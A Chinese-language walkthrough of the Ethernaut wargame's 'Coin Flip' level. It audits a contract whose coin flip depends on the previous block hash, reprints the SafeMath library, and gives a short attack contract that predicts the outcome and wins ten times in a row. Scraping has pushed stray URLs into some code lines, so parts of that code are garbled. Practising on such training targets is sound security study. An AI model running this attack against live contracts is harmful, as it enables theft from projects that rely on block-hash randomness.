以太Ethernaut靶场打靶—3Coin Flip
-
- 代码审计
- 攻击流程
代码审计
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
//2^255constructor() public {
consecutiveWins = 0;
}function flip(bool _guess) public returns (bool) { //返回
uint256 blockValue = https://www.it610.com/article/uint256(blockhash(block.number.sub(1)));
//把blockvalue随机数设置为区块号-1然后进行hashif (lastHash == blockValue) { //上一次的值和这一次的值相等,防止循环
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
//工作量证明如果hash值> factor为1
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
通过代码可以看出是通过与(计算过后的上一个区块)进行比较来判断是否为win;虽然说前一块的是随机的但可以提前将前一块计算完以后得到是0还是1在用对应的guess进行比较;
这里我们就要写个exp到源码中用到在线编译器[https://remix.ethereum.org/]
(https://remix.ethereum.org/)
攻击流程 【Ethernaut靶场通关记录|以太Ethernaut靶场打靶—3Coin Flip】首先新建文件将合约复制到里面
注意要将SafeMath.sol文件导入并且选择正确的路径导入
文章图片
SafeMath.sol
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b);
// There is no case in which this doesn't holdreturn c;
}/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
然后我们开始编写exp调用接口提前算出数值
contract exp {
CoinFlip intence;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function setinterface(address addres) public {
intence = CoinFlip(addres);
}
function attack() public{
uint256 blockValue = https://www.it610.com/article/uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue/(FACTOR);
bool side = coinFlip == 1 ? true : false;
intence.flip(side);
}
}
然后将靶场的instence address 添加上
文章图片
设置编译器环境为Injection Web3然后再将地址添加上
文章图片
再切换到exp进行Deplay部署攻击合约
文章图片
attack10次后达到过关条件
文章图片
文章图片
推荐阅读
- Ethernaut靶场通关记录|以太Ethernaut靶场打靶—5 Token
- Ethernaut靶场通关记录|以太Ethernaut靶场打靶—6 Delegation
- Ethernaut靶场通关记录|以太Ethernaut靶场打靶—1 Fallback
- Ethernaut靶场通关记录|以太Ethernaut靶场打靶—0 Hello Ethernaut
- 区块链|区块链学习笔记23——ETH反思
- golang详解|【Golang详解】深入了解map
- 历史上的今天|【历史上的今天】7 月 30 日(现代电视先驱诞生;以太坊启动;80 年代最畅销的电脑品牌)
- 数据结构|数据结构——哈希查找的实现(C语言)
- 计算机面试基础知识汇总|数据库基础知识(面试)